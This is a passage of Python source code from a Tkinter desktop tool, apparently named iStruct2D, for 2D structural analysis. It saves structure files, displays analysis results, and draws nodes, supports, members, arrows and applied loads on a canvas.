\"\\n\"\n result = result + str(self._scaling) + \"\\n\"\n\n for key in self._structureData:\n result = result + \"#\"+key+\"\\n\"\n for data in self._structureData[key]:\n for info in data:\n if info == None:\n info = \"\"\n result = result + str(info) + \";\"\n result = result[:-1]\n result = result + \"\\n\"\n\n fd.write(result)\n fd.close()\n self.displayData(\"Successfully saved the structure\\n\" +\n \" Filename: \" + self._filename + \".txt\\n\" +\n \" Location: \" + \"exampleStructures/\" + self._filename + \".txt\\n\")\n\n\n def saveAs(self):\n \"\"\"\n Save the structure into .txt file at the selected location\n \"\"\"\n filename = simpledialog.askstring(\"Saving the structure\", \"Structure name:\")\n if filename:\n self._filename = filename\n\n if self._filename:\n self._master.title(\"iStruct2D: \"+ self._filename)\n fd = open(\"exampleStructures/\" + self._filename + \".txt\", \"w\")\n\n result = \"\" + str(self._origin[0]) + \";\" + str(self._origin[1]) + \"\\n\"\n result = result + self._unit[0] + \";\" + self._unit[1] + \";\" + str(self._unit[2]) + \"\\n\"\n result = result + str(self._scaling) + \"\\n\"\n\n for key in self._structureData:\n result = result + \"#\"+key+\"\\n\"\n for data in self._structureData[key]:\n for info in data:\n if info == None:\n info = \"\"\n result = result + str(info) + \";\"\n result = result[:-1]\n result = result + \"\\n\"\n\n fd.write(result)\n fd.close()\n self.displayData(\"Successfully saved the structure\\n\" +\n \" Filename: \" + self._filename + \".txt\\n\" +\n \" Location: \" + \"exampleStructures/\" + self._filename + \".txt\\n\")\n\n\n def clearAllData(self):\n \"\"\"\n Clear the string data from the result center\n \"\"\"\n self._canvasDisplay.config(state=NORMAL)\n self._canvasDisplay.delete(\"0.0\", tk.END)\n self._canvasDisplay.config(state=DISABLED)\n\n\n def displayData(self, data):\n \"\"\"\n Display the string data into the result center\n\n :param data: data string\n \"\"\"\n self._canvasDisplay.config(state=NORMAL)\n self._canvasDisplay.insert(tk.END, \"-> \" + data + \"\\n\")\n self._canvasDisplay.see(tk.END)\n self._canvasDisplay.config(state=DISABLED)\n\n\n def clearAllCanvas(self):\n \"\"\"\n Delete all contents from all canvas\n \"\"\"\n self._canvasDeflectedShape.delete(\"all\")\n self._canvasReactionForce.delete(\"all\")\n self._canvasAxialLoad.delete(\"all\")\n self._canvasShearForce.delete(\"all\")\n self._canvasBendingMoment.delete(\"all\")\n\n\n def analyseStructure(self):\n \"\"\"\n Analyse and get the results of the structure\n \"\"\"\n self._structure.changeUnit(self._unit)\n\n deflectedShapeData = {\"node\":[], \"member\":[]}\n for node in self._structure.getNodes():\n deflectedShapeData['node'].append([node.getID(), node.getx(), node.gety()])\n for member in self._structure.getMembers():\n deflectedShapeData['member'].append([member.geti(), member.getj()])\n\n allResult = self._structure.packAllResult()\n result = allResult[\"nodalDisplacement\"].copy()\n\n for data in result:\n if \"u\" in data[0]:\n nodeNum = int(data[0].strip(\"u\"))\n for nodeDataIndex in range(len(deflectedShapeData[\"node\"])):\n nodeData = deflectedShapeData[\"node\"][nodeDataIndex]\n if nodeData[0] == nodeNum:\n deflectedShapeData['node'][nodeDataIndex][1] = data[1]+nodeData[1]\n displacement = data[1]\n if self._unit[1] == \"m\":\n displacement = displacement/1000\n deflectedShapeData['node'][nodeDataIndex].append(\"Δx: \"+ format(displacement, \"5.2e\")+data[2])\n\n elif \"v\" in data[0]:\n nodeNum = int(data[0].strip(\"v\"))\n for nodeDataIndex in range(len(deflectedShapeData[\"node\"])):\n nodeData = deflectedShapeData[\"node\"][nodeDataIndex]\n if nodeData[0] == nodeNum:\n deflectedShapeData['node'][nodeDataIndex][2] = data[1]+nodeData[2]\n displacement = data[1]\n if self._unit[1] == \"m\":\n displacement = displacement/1000\n deflectedShapeData['node'][nodeDataIndex].append(\"Δy: \" + format(displacement, \"5.2e\")+data[2])\n\n elif \"θ\" in data[0]:\n nodeNum = int(data[0].strip(\"θ\"))\n for nodeDataIndex in range(len(deflectedShapeData[\"node\"])):\n nodeData = deflectedShapeData[\"node\"][nodeDataIndex]\n if nodeData[0] == nodeNum:\n displacement = data[1]\n deflectedShapeData['node'][nodeDataIndex].append(\"θ: \" + format(displacement, \"5.2e\")+data[2])\n\n result = allResult[\"reactionForce\"].copy()\n reactionForceData = []\n for forceData in result:\n force = [forceData[0][-1], 0, 0, 0]\n if forceData[0][0] == \"F\":\n if forceData[0][1] == \"x\":\n force[1] = forceData[1]\n elif forceData[0][1] == \"y\":\n force[2] = forceData[1]\n elif forceData[0][0] == \"M\":\n force[3] = forceData[1]\n reactionForceData.append(force)\n\n result = allResult[\"axialLoad\"].copy()\n axialLoadData = []\n for axialForceData in result:\n for nodeItem in self._structure.getNodes():\n if nodeItem.getID() == axialForceData[1]:\n xi = nodeItem.getx()\n yi = nodeItem.gety()\n elif nodeItem.getID() == axialForceData[2]:\n xj = nodeItem.getx()\n yj = nodeItem.gety()\n axialLoadData.append([xi,yi,xj,yj, axialForceData[3], axialForceData[4]])\n\n shearForceData = allResult[\"shearForce\"]\n bendingMomentData = allResult[\"bendingMoment\"]\n\n\n self._analysisTime = self._analysisTime + 1\n result = \"Linear Analysis Result#\" +str(self._analysisTime)+ \":\\n\" + self._structure.getAllResult()\n self.displayData(result)\n self._canvasDisplay.config(state=NORMAL)\n pos = self._canvasDisplay.search(\"Linear Analysis Result#\"+str(self._analysisTime),\"1.0\")\n self._canvasDisplay.see(pos)\n self._canvasDisplay.config(state=DISABLED)\n\n self.clearAllCanvas()\n self.createGraph(self._canvasDeflectedShape, self._structureDrawingData, deflectedStructure=deflectedShapeData)\n self.createGraph(self._canvasReactionForce, self._structureDrawingData, reactionForce=reactionForceData)\n self.createGraph(self._canvasAxialLoad, self._structureDrawingData, axialLoad=axialLoadData)\n self.createGraph(self._canvasShearForce, self._structureDrawingData, shearForce=shearForceData)\n self.createGraph(self._canvasBendingMoment, self._structureDrawingData, bendingMoment=bendingMomentData)\n\n\n def addNodalLoad(self):\n \"\"\"\n Open a window for adding the nodal force\n \"\"\"\n root = tk.Tk()\n addNodalLoad = DataInput(root, self, \"Add Nodal Load\", [\"node number\", \"Fx [\" + self._unit[0] + \"]\", \"Fy [\"+ self._unit[0] + \"]\",\n \"M [\" + self._unit[0] + self._unit[1] + \"]\"], windowSize=self._windowSize,\n tips=\"It can be 0 if having no value\")\n self.displayData(\"Adding the Nodal Load\")\n root.mainloop()\n\n\n def addMemberPointLoad(self):\n \"\"\"\n Open a window for adding the member force\n \"\"\"\n root = tk.Tk()\n addMemberPointLoad = DataInput(root, self, \"Add Member Point Load\", [\"member number\", \"position (from node i) [\" + self._unit[1]+ \"]\",\n \"Fx [\" + self._unit[0] + \"]\", \"Fy [\"+ self._unit[0] + \"]\"], windowSize=self._windowSize,\n tips=\"It can be 0 if having no value\")\n self.displayData(\"Adding the Member Point Load\")\n root.mainloop()\n\n\n def addMemberUniformlyDistributedLoad(self):\n \"\"\"\n Open a window for adding the UDL force\n \"\"\"\n root = tk.Tk()\n addMemberUniformlyDistributedLoad = DataInput(root, self, \"Add Member Uniformly Distributed Load\",\n [\"member number\", \"w [\" + self._unit[0] + \"/\" + self._unit[1] + \"]\"],windowSize=self._windowSize,\n tips=\"It can be 0 if having no value\")\n self.displayData(\"Adding the Uniformly Distributed Load\")\n root.mainloop()\n\n\n def addNode(self):\n \"\"\"\n Open a window for adding the node\n \"\"\"\n nodeNum = self._structure.getNodeNum() + 1\n supportType = {\"Roller\":[\"FRR2.png\",\"RFR1.png\",\"FRR1.png\",\"RFR2.png\"],\n \"Pin\": [\"FFR4.png\",\"FFR1.png\",\"FFR2.png\",\"FFR3.png\"],\n \"Fixed\":[\"FFF4.png\",\"FFF1.png\", \"FFF2.png\",\"FFF3.png\"]}\n\n root = tk.Toplevel()\n addNode = DataInput(root, self, \"Add Node\", [\"node number\", \"x [\" + self._unit[1] + \"]\", \"y [\"+ self._unit[1] + \"]\",\n \"restraint (support type)\"], (0,nodeNum),pictures=supportType, windowSize=self._windowSize,\n tips= \"If the node has no restraint(support)\\nLeave it blank\")\n self.displayData(\"Adding a Node\")\n root.mainloop()\n\n\n def addMember(self):\n \"\"\"\n Open a window for adding the member\n \"\"\"\n memberNum = self._structure.getMemberNum() + 1\n\n root = tk.Tk()\n addMember = DataInput(root, self, \"Add Member\", [\"member number\", \"node i\", \"node j\",\n \"(Cross Section Area) A [mm^2]\", \"(Area Moment of Inertia) I [mm^4]\", \"E [MPa]\", \"type (truss/beam/frame)\"], (0,memberNum),\n windowSize=self._windowSize, tips=\"Truss: I can be blank\\nBeam: A can be blank\\nPower of 10 example:\\n1.5x10^5 --> 1.5e5\")\n self.displayData(\"Adding a Member\")\n root.mainloop()\n\n\n def drawArrow(self, A, B, color, canvas=None):\n \"\"\"\n Draw the arrow for 2 points\n\n :param A: coordinate of starting point\n :param B: coordinate of ending point\n :param color: arrow colour\n :param canvas: canvas for arrow\n \"\"\"\n if canvas == None:\n canvas = self._canvas\n Ax = A[0]\n Ay = A[1]\n Bx = B[0]\n By = B[1]\n\n vector = [[Ax-Bx,],\n [Ay-By,]]\n magnitude = math.sqrt(vector[0][0]**2 + vector[1][0]**2)\n vector = self._matrixCalculator.matrixScale(vector, 1/magnitude)\n rotation1 = [[math.cos(math.pi/6), math.sin(math.pi/6)],\n [-math.sin(math.pi/6), math.cos(math.pi/6)]]\n rotation2 = [[math.cos(-math.pi/6), math.sin(-math.pi/6)],\n [-math.sin(-math.pi/6), math.cos(-math.pi/6)]]\n vector1 = self._matrixCalculator.matrixMultiplication(rotation1, vector)\n vector2 = self._matrixCalculator.matrixMultiplication(rotation2, vector)\n\n vector1 = self._matrixCalculator.matrixScale(vector1, 15)\n vector2 = self._matrixCalculator.matrixScale(vector2, 15)\n\n position1 = [vector1[0][0]+Bx, vector1[1][0]+By]\n position2 = [vector2[0][0]+Bx, vector2[1][0]+By]\n\n canvas.create_line([(Bx, By), (position1[0], position1[1])], fill=color)\n canvas.create_line([(Bx, By), (position2[0], position2[1])], fill=color)\n canvas.create_line([(position1[0], position1[1]), (position2[0], position2[1])], fill=color)\n\n\n def createMember(self, data0, data1, data2, data3, data4, data5, data6, detail, canvas=None):\n \"\"\"\n Generate the member from the user's input\n\n :param data0: member ID\n :param data1: starting node ID\n :param data2: ending node ID\n :param data3: Area value\n :param data4: Area Moment of Inertia value\n :param data5: Elasticity value\n :param data6: type string\n :param detail: detail of member\n :param canvas: canvas to be added into\n \"\"\"\n if canvas == None:\n canvas = self._canvas\n\n memberID = int(data0)\n nodeI = int(data1)\n nodeJ = int(data2)\n A = None\n if data3 != \"\":\n A = float(data3)\n I = None\n if data4 != \"\":\n I = float(data4)\n\n E = float(data5)\n\n type = data6\n\n if detail:\n self._structure.addMember(memberID,nodeI, nodeJ, A, I, E, type)\n memberData = [memberID,nodeI,nodeJ,A,I,E,type]\n self._structureData[\"member\"].append(memberData)\n\n for member in self._structure.getMembers():\n if member.getId() == memberID:\n L = member.getL()\n\n for node in self._structure.getNodes():\n if node.getID() == nodeI:\n nodeIx = node.getx()/self._scaling+ self._origin[0]\n nodeIy = self._origin[1] - node.gety()/self._scaling\n if node.getID() == nodeJ:\n nodeJx = node.getx()/self._scaling+ self._origin[0]\n nodeJy = self._origin[1] - node.gety()/self._scaling\n\n canvas.create_line([(nodeIx, nodeIy), (nodeJx, nodeJy)], fill='black')\n\n if detail:\n canvas.create_text((nodeIx+nodeJx)/2-10, (nodeIy+nodeJy)/2-12, text=str(memberID), fill=\"#21D789\")\n\n # draw arrow\n self.drawArrow((nodeIx,nodeIy), ((nodeIx+nodeJx)/2, (nodeIy+nodeJy)/2), \"black\")\n\n if A != None:\n dataA = \" A: \" + format(A, \"5.2e\") + \" [mm^2]\\n \"\n else:\n dataA = \" A: None\\n \"\n\n if I != None:\n dataI = \" I: \" + format(I, \"5.2e\") + \" [mm^4]\\n \"\n else:\n dataI = \" I: None\\n \"\n\n if detail:\n length = L\n if self._unit[1] == \"m\":\n length = length/1000\n\n self.displayData(\"Successfully created Member \"+str(memberID)+\" : \\n \"+\n \" type: \" + type + \"\\n \"\n \" i: Node \" + str(nodeI) +\" ; j: Node \"+ str(nodeJ)+ \"\\n \"+\n \" E: \" + format(E, \"5.2e\") + \" [MPa]\\n \" +\n dataI + dataA +\n \" L: \" + format(length, \"5.2e\")+ \" [\" + self._unit[1] +\"]\\n \")\n self._structureDrawingData[\"member\"].append([data0, data1, data2, data3, data4, data5, data6])\n self.update()\n\n\n def pointRotation(self, point, radian, center):\n \"\"\"\n Rotation of a point\n \"\"\"\n rotation = [[math.cos(radian), math.sin(radian)],\n [-math.sin(radian), math.cos(radian)]]\n\n center = center[0], center[1]*(-1)\n\n point[1][0] = point[1][0]*(-1)\n\n point[0][0] = point[0][0] - 0\n point[1][0] = point[1][0] - (-self._origin[1])\n\n point[0][0] = point[0][0]-(center[0]-0)\n point[1][0] = point[1][0]-(center[1]-(-self._origin[1]))\n\n result = self._matrixCalculator.matrixMultiplication(rotation, point)\n\n result[0][0] = result[0][0] + (center[0]-0)\n result[1][0] = result[1][0] + (center[1]-(-self._origin[1]))\n\n result[0][0] = result[0][0] + 0\n result[1][0] = result[1][0] + (-self._origin[1])\n\n result[1][0] = result[1][0]*(-1)\n\n return result\n\n\n def createNode(self, data0, data1, data2, data3, data4, detail, canvas=None):\n \"\"\"\n Generate the node from the user's input\n\n :param data0: node ID\n :param data1: x coordinate of the node\n :param data2: y coordinate of the node\n :param data3: restraint string of the node\n :param data4: restraint shape string of the node\n :param detail: detail of the node\n :param canvas: canvas to be added into\n \"\"\"\n if canvas == None:\n canvas = self._canvas\n nodeID = int(data0)\n nodeX = int(data1)\n nodeY = int(data2)\n restraint = data3\n restraintShape = data4\n\n if restraint == \"\":\n restraint = \"RRR\"\n\n if detail:\n self._structure.addNode(nodeID, nodeX, nodeY, restraint)\n\n nodeData = [nodeID,nodeX,nodeY,restraint,restraintShape]\n self._structureData[\"node\"].append(nodeData)\n\n x = nodeX/self._scaling+ self._origin[0]\n y = self._origin[1] - nodeY/self._scaling\n canvas.create_oval([(x-2.5, y-2.5), (x +2.5, y +2.5)], fill='black')\n\n if restraint == \"RRR\":\n type = \"Free to move\"\n if detail:\n canvas.create_text(x-10, y-5, text=str(nodeID), fill=\"#5897BE\")\n\n if restraint == \"FFF\":\n type = \"Fixed end support\"\n\n centerPoint = [[x,],\n [y+2]]\n linePoint1 = [[x-10,],\n [y+2]]\n linePoint2 = [[x+10,],\n [y+2]]\n additionPoint1 = [[x-9,],\n [y+2]]\n additionPoint2 = [[x-7,],\n [y+7]]\n additionPoint3 = [[x-5,],\n [y+2]]\n additionPoint4 = [[x-3,],\n [y+7]]\n\n additionPoint5 = [[x-1,],\n [y+2]]\n additionPoint6 = [[x+1,],\n [y+7]]\n\n additionPoint7 = [[x+3,],\n [y+2]]\n additionPoint8 = [[x+5,],\n [y+7]]\n additionPoint9 = [[x+7,],\n [y+2]]\n additionPoint10 = [[x+9,],\n [y+7]]\n\n if restraintShape == \"FFF1\" or restraintShape == \"\":\n if detail:\n canvas.create_text(x-10, y-5, text=str(nodeID), fill=\"#5897BE\")\n radian = 0\n\n if restraintShape == \"FFF2\":\n if detail:\n canvas.create_text(x+15, y-5, text=str(nodeID), fill=\"#5897BE\")\n radian = 3*math.pi/2\n\n if restraintShape == \"FFF3\":\n if detail:\n canvas.create_text(x-14, y-4, text=str(nodeID), fill=\"#5897BE\")\n radian = math.pi\n\n if restraintShape == \"FFF4\":\n if detail:\n canvas.create_text(x+10, y-5, text=str(nodeID), fill=\"#5897BE\")\n radian = math.pi/2\n\n center = (x,y)\n\n centerPoint = self.pointRotation(centerPoint, radian, center)\n linePoint1 = self.pointRotation(linePoint1, radian, center)\n linePoint2 = self.pointRotation(linePoint2, radian, center)\n\n additionPoint1 = self.pointRotation(additionPoint1, radian, center)\n additionPoint2 = self.pointRotation(additionPoint2, radian, center)\n additionPoint3 = self.pointRotation(additionPoint3, radian, center)\n additionPoint4 = self.pointRotation(additionPoint4, radian, center)\n additionPoint5 = self.pointRotation(additionPoint5, radian, center)\n\n additionPoint6 = self.pointRotation(additionPoint6, radian, center)\n additionPoint7 = self.pointRotation(additionPoint7, radian, center)\n additionPoint8 = self.pointRotation(additionPoint8, radian, center)\n additionPoint9 = self.pointRotation(additionPoint9, radian, center)\n additionPoint10 = self.pointRotation(additionPoint10, radian, center)\n\n canvas.create_line([(centerPoint[0][0], centerPoint[1][0]), (linePoint1[0][0], linePoint1[1][0])], fill='black')\n canvas.create_line([(centerPoint[0][0], centerPoint[1][0]), (linePoint2[0][0], linePoint2[1][0])], fill='black')\n\n canvas.create_line([(additionPoint1[0][0], additionPoint1[1][0]), (additionPoint2[0][0], additionPoint2[1][0])], fill='black')\n canvas.create_line([(additionPoint3[0][0], additionPoint3[1][0]), (additionPoint4[0][0], additionPoint4[1][0])], fill='black')\n canvas.create_line([(additionPoint5[0][0], additionPoint5[1][0]), (additionPoint6[0][0], additionPoint6[1][0])], fill='black')\n canvas.create_line([(additionPoint7[0][0], additionPoint7[1][0]), (additionPoint8[0][0], additionPoint8[1][0])], fill='black')\n canvas.create_line([(additionPoint9[0][0], additionPoint9[1][0]), (additionPoint10[0][0], additionPoint10[1][0])], fill='black')\n\n if restraint == \"FFR\":\n type = \"Pined support\"\n\n nodePoint = [[x,],\n [y,]]\n\n centerPoint = [[x,],\n [y+15]]\n linePoint1 = [[x-15,],\n [y+15]]\n linePoint2 = [[x+15,],\n [y+15]]\n\n linePoint3 = [[x-10,],\n [y+15]]\n linePoint4 = [[x+10,],\n [y+15]]\n\n additionPoint1 = [[x-9,],\n [y+15]]\n additionPoint2 = [[x-7,],\n [y+20]]\n additionPoint3 = [[x-5,],\n [y+15]]\n additionPoint4 = [[x-3,],\n [y+20]]\n\n additionPoint5 = [[x-1,],\n [y+15]]\n additionPoint6 = [[x+1,],\n [y+20]]\n\n additionPoint7 = [[x+3,],\n [y+15]]\n additionPoint8 = [[x+5,],\n [y+20]]\n additionPoint9 = [[x+7,],\n [y+15]]\n additionPoint10 = [[x+9,],\n [y+20]]\n\n if restraintShape == \"FFR1\" or restraintShape == \"\":\n if detail:\n canvas.create_text(x-10, y-2, text=str(nodeID), fill=\"#5897BE\")\n radian = 0\n\n if restraintShape == \"FFR2\":\n if detail:\n canvas.create_text(x-10, y-5, text=str(nodeID), fill=\"#5897BE\")\n radian = 3*math.pi/2\n\n if restraintShape == \"FFR3\":\n if detail:\n canvas.create_text(x-10, y-5, text=str(nodeID), fill=\"#5897BE\")\n radian = math.pi\n\n if restraintShape == \"FFR4\":\n if detail:\n canvas.create_text(x+10, y-5, text=str(nodeID), fill=\"#5897BE\")\n radian = math.pi/2\n\n center = (x,y)\n\n centerPoint = self.pointRotation(centerPoint, radian, center)\n linePoint1 = self.pointRotation(linePoint1, radian, center)\n linePoint2 = self.pointRotation(linePoint2, radian, center)\n nodePoint = self.pointRotation(nodePoint, radian, center)\n linePoint3 = self.pointRotation(linePoint3, radian, center)\n linePoint4 = self.pointRotation(linePoint4, radian, center)\n\n additionPoint1 = self.pointRotation(additionPoint1, radian, center)\n additionPoint2 = self.pointRotation(additionPoint2, radian, center)\n additionPoint3 = self.pointRotation(additionPoint3, radian, center)\n additionPoint4 = self.pointRotation(additionPoint4, radian, center)\n additionPoint5 = self.pointRotation(additionPoint5, radian, center)\n\n additionPoint6 = self.pointRotation(additionPoint6, radian, center)\n additionPoint7 = self.pointRotation(additionPoint7, radian, center)\n additionPoint8 = self.pointRotation(additionPoint8, radian, center)\n additionPoint9 = self.pointRotation(additionPoint9, radian, center)\n additionPoint10 = self.pointRotation(additionPoint10, radian, center)\n\n canvas.create_line([(nodePoint[0][0], nodePoint[1][0]), (linePoint3[0][0], linePoint3[1][0])], fill='black')\n canvas.create_line([(nodePoint[0][0], nodePoint[1][0]), (linePoint4[0][0], linePoint4[1][0])], fill='black')\n canvas.create_line([(linePoint3[0][0], linePoint3[1][0]), (linePoint4[0][0], linePoint4[1][0])], fill='black', width=2)\n\n canvas.create_line([(centerPoint[0][0], centerPoint[1][0]), (linePoint1[0][0], linePoint1[1][0])], fill='black')\n canvas.create_line([(centerPoint[0][0], centerPoint[1][0]), (linePoint2[0][0], linePoint2[1][0])], fill='black')\n\n canvas.create_line([(additionPoint1[0][0], additionPoint1[1][0]), (additionPoint2[0][0], additionPoint2[1][0])], fill='black')\n canvas.create_line([(additionPoint3[0][0], additionPoint3[1][0]), (additionPoint4[0][0], additionPoint4[1][0])], fill='black')\n canvas.create_line([(additionPoint5[0][0], additionPoint5[1][0]), (additionPoint6[0][0], additionPoint6[1][0])], fill='black')\n canvas.create_line([(additionPoint7[0][0], additionPoint7[1][0]), (additionPoint8[0][0], additionPoint8[1][0])], fill='black')\n canvas.create_line([(additionPoint9[0][0], additionPoint9[1][0]), (additionPoint10[0][0], additionPoint10[1][0])], fill='black')\n\n if restraint == \"FRR\" or restraint == \"RFR\":\n type = \"Roller support\"\n\n nodePoint = [[x,],\n [y,]]\n\n linePoint3 = [[x-10,],\n [y+15]]\n linePoint4 = [[x+10,],\n [y+15]]\n\n circlePoint1 = [[x-3,],\n [y+22]]\n circlePoint2 = [[x+3,],\n [y+22]]\n\n centerPoint = [[x,],\n [y+22]]\n linePoint1 = [[x-15,],\n [y+22]]\n linePoint2 = [[x+15,],\n [y+22]]\n\n additionPoint1 = [[x-9,],\n [y+22]]\n additionPoint2 = [[x-7,],\n [y+27]]\n additionPoint3 = [[x-5,],\n [y+22]]\n additionPoint4 = [[x-3,],\n [y+27]]\n\n additionPoint5 = [[x-1,],\n [y+22]]\n additionPoint6 = [[x+1,],\n [y+27]]\n\n additionPoint7 = [[x+3,],\n [y+22]]\n additionPoint8 = [[x+5,],\n [y+27]]\n additionPoint9 = [[x+7,],\n [y+22]]\n additionPoint10 = [[x+9,],\n [y+27]]\n\n if restraintShape == \"\" and restraint == \"FRR\":\n if detail:\n canvas.create_text(x-10, y-7, text=str(nodeID), fill=\"#5897BE\")\n radian = 3*math.pi/2\n\n if restraintShape == \"\" and restraint == \"RFR\":\n if detail:\n canvas.create_text(x-10, y-5, text=str(nodeID), fill=\"#5897BE\")\n radian = 0\n\n if restraintShape == \"RFR1\":\n if detail:\n canvas.create_text(x-10, y-5, text=str(nodeID), fill=\"#5897BE\")\n radian = 0\n\n if restraintShape == \"FRR1\":\n if detail:\n canvas.create_text(x-10, y-7, text=str(nodeID), fill=\"#5897BE\")\n radian = 3*math.pi/2\n\n if restraintShape == \"RFR2\":\n if detail:\n canvas.create_text(x-10, y-5, text=str(nodeID), fill=\"#5897BE\")\n radian = math.pi\n\n if restraintShape == \"FRR2\":\n if detail:\n canvas.create_text(x+10, y-7, text=str(nodeID), fill=\"#5897BE\")\n radian = math.pi/2\n\n center = (x,y)\n\n nodePoint = self.pointRotation(nodePoint, radian, center)\n linePoint3 = self.pointRotation(linePoint3, radian, center)\n linePoint4 = self.pointRotation(linePoint4, radian, center)\n\n centerPoint = self.pointRotation(centerPoint, radian, center)\n linePoint1 = self.pointRotation(linePoint1, radian, center)\n linePoint2 = self.pointRotation(linePoint2, radian, center)\n\n circlePoint1 = self.pointRotation(circlePoint1, radian, center)\n circlePoint2 = self.pointRotation(circlePoint2, radian, center)\n\n additionPoint1 = self.pointRotation(additionPoint1, radian, center)\n additionPoint2 = self.pointRotation(additionPoint2, radian, center)\n additionPoint3 = self.pointRotation(additionPoint3, radian, center)\n additionPoint4 = self.pointRotation(additionPoint4, radian, center)\n additionPoint5 = self.pointRotation(additionPoint5, radian, center)\n\n additionPoint6 = self.pointRotation(additionPoint6, radian, center)\n additionPoint7 = self.pointRotation(additionPoint7, radian, center)\n additionPoint8 = self.pointRotation(additionPoint8, radian, center)\n additionPoint9 = self.pointRotation(additionPoint9, radian, center)\n additionPoint10 = self.pointRotation(additionPoint10, radian, center)\n\n canvas.create_line([(nodePoint[0][0], nodePoint[1][0]), (linePoint3[0][0], linePoint3[1][0])], fill='black')\n canvas.create_line([(nodePoint[0][0], nodePoint[1][0]), (linePoint4[0][0], linePoint4[1][0])], fill='black')\n canvas.create_line([(linePoint3[0][0], linePoint3[1][0]), (linePoint4[0][0], linePoint4[1][0])], fill='black', width=2)\n\n canvas.create_oval([(linePoint3[0][0], linePoint3[1][0]), (circlePoint1[0][0], circlePoint1[1][0])])\n canvas.create_oval([(linePoint4[0][0], linePoint4[1][0]), (circlePoint2[0][0], circlePoint2[1][0])])\n\n canvas.create_line([(centerPoint[0][0], centerPoint[1][0]), (linePoint1[0][0], linePoint1[1][0])], fill='black')\n canvas.create_line([(centerPoint[0][0], centerPoint[1][0]), (linePoint2[0][0], linePoint2[1][0])], fill='black')\n\n canvas.create_line([(additionPoint1[0][0], additionPoint1[1][0]), (additionPoint2[0][0], additionPoint2[1][0])], fill='black')\n canvas.create_line([(additionPoint3[0][0], additionPoint3[1][0]), (additionPoint4[0][0], additionPoint4[1][0])], fill='black')\n canvas.create_line([(additionPoint5[0][0], additionPoint5[1][0]), (additionPoint6[0][0], additionPoint6[1][0])], fill='black')\n canvas.create_line([(additionPoint7[0][0], additionPoint7[1][0]), (additionPoint8[0][0], additionPoint8[1][0])], fill='black')\n canvas.create_line([(additionPoint9[0][0], additionPoint9[1][0]), (additionPoint10[0][0], additionPoint10[1][0])], fill='black')\n\n self.update()\n if detail:\n x_coordinate = nodeX\n y_coordinate = nodeY\n\n if self._unit[1] == \"m\":\n x_coordinate = x_coordinate/1000\n y_coordinate = y_coordinate/1000\n\n self.displayData(\"Successfully created Node \"+str(nodeID)+\" : \\n \"+\n \" coordinate: (\" + str(x_coordinate) +\",\"+ str(y_coordinate)+ \") [\" + self._unit[1] + \"]\\n \"+\n \" type: \" + type + \"\\n \"\n \" restraint: \" + restraint+ \"\\n \")\n self._structureDrawingData[\"node\"].append([data0, data1, data2, data3, data4])\n\n\n def createNodalLoad(self, data0, data1, data2, data3, detail, canvas=None):\n \"\"\"\n Generate the nodal force from the user's input\n\n :param data0: node ID\n :param data1: x value of the force\n :param data2: y value of the force\n :param data3: moment value of the force\n :param detail: detail of the nodal load\n :param canvas: canvas to be added into\n \"\"\"\n if canvas == None:\n canvas = self._canvas\n nodeID = int(data0)\n Fx = float(data1)\n Fy = float(data2)\n M = float(data3)\n\n if detail:\n self._structure.addNodalLoad(nodeID,Fx, Fy, M)\n nodalLoadData = [nodeID,Fx,Fy,M]\n self._structureData[\"nodalLoad\"].append(nodalLoadData)\n\n if self._unit[0] == \"kN\":\n Fx = Fx/1000\n Fy = Fy/1000\n M = M/1000\n if self._unit[1] == \"m\":\n M = M/1000\n\n Fx = round(Fx,self._unit[2])\n Fy = round(Fy,self._unit[2])\n M = round(M,self._unit[2])\n\n for node in self._structure.getNodes():\n if node.getID() == nodeID:\n x = node.getx()/self._scaling + self._origin[0]\n y = self._origin[1] - node.gety()/self._scaling\n\n if Fx > 0 or Fx < 0:\n if Fx > 0:\n canvas.create_line([(x, y), (x + 60, y)], fill='red')\n self.drawArrow((x,y), (x + 60, y), \"red\", canvas)\n canvas.create_text(x+70, y-15, text=str(Fx) + \" \" + self._unit[0], fill=\"red\")\n elif Fx < 0:\n canvas.create_line([(x, y), (x - 60, y)], fill='red')\n self.drawArrow((x,y), (x - 60, y), \"red\", canvas)\n canvas.create_text(x-70, y-15, text=str(-Fx) + \" \" + self._unit[0], fill=\"red\")\n\n if Fy > 0 or Fy < 0:\n if Fy > 0:\n canvas.create_line([(x, y), (x, y-60)], fill='red')\n self.drawArrow((x,y), (x, y-60), \"red\", canvas)\n canvas.create_text(x, y-70, text=str(Fy) + \" \" + self._unit[0], fill=\"red\")\n elif Fy < 0:\n canvas.create_line([(x, y), (x, y+60)], fill='red')\n self.drawArrow((x,y), (x, y+60), \"red\", canvas)\n canvas.create_text(x, y+70, text=str(-Fy) + \" \" + self._unit[0], fill=\"red\")\n\n coord = x-20,y-20,x+20,y+20\n if M > 0 or M < 0:\n if M > 0:\n canvas.create_arc(coord, start=30, extent=270, style=tk.ARC, width=1, outline=\"red\")\n self.drawArrow((x+5,y+19), (x+10, y+18), \"red\", canvas)\n canvas.create_text(x+10, y+36, text=str(M) + \" \" + self._unit[0]+self._unit[1], fill=\"red\")\n elif M < 0:\n canvas.create_arc(coord, start=-120, extent=270, style=tk.ARC, width=1, outline=\"red\")\n self.drawArrow((x-5,y+19), (x-10, y+18), \"red\", canvas)\n canvas.create_text(x-10, y+36, text=str(-M) + \" \" + self._unit[0]+self._unit[1], fill=\"red\")\n if detail:\n self.displayData(\"Successfully added Nodal Load\"+ \"\\n \")\n\n\n def calculatePosition(self, i, j, x):\n \"\"\"\n Calculate the position of the required point on the member\n\n :param i: starting point coordinate\n :param j: ending point coordinate\n :param x: distance from starting point\n :return: the calculated position of the required point\n \"\"\"\n ix = i[0]\n iy = i[1]\n jx = j[0]\n jy = j[1]\n vector = [[jx-ix,],\n [jy-iy,]]\n magnitude = math.sqrt(vector[0][0]**2 + vector[1][0]**2)\n vector = self._matrixCalculator.matrixScale(vector, 1/magnitude)\n vector = self._matrixCalculator.matrixScale(vector, x)\n return (vector[0][0]+ix, vector[1][0]+iy)\n\n\n def createMemberPointLoad(self, data0, data1, data2, data3):\n \"\"\"\n Generate the member point load from the user's input\n\n :param data0: member ID\n :param data1: distance from starting point\n :param data2: x value of the force\n :param data3: y value of the force\n \"\"\"\n memberID = int(data0)\n x = float(data1)\n Fx = float(data2)\n Fy = float(data3)\n\n for member in self._structure.getMembers():\n if member.getId() == memberID:\n type = member.getType()\n nodes = member.get_ij()\n L = member.getL()\n\n if x > L:\n return None\n\n for node in self._structure.getNodes():\n if node.getID() == nodes[0]:\n ix = node.getx()\n iy = node.gety()\n elif node.getID() == nodes[1]:\n jx = node.getx()\n jy = node.gety()\n\n 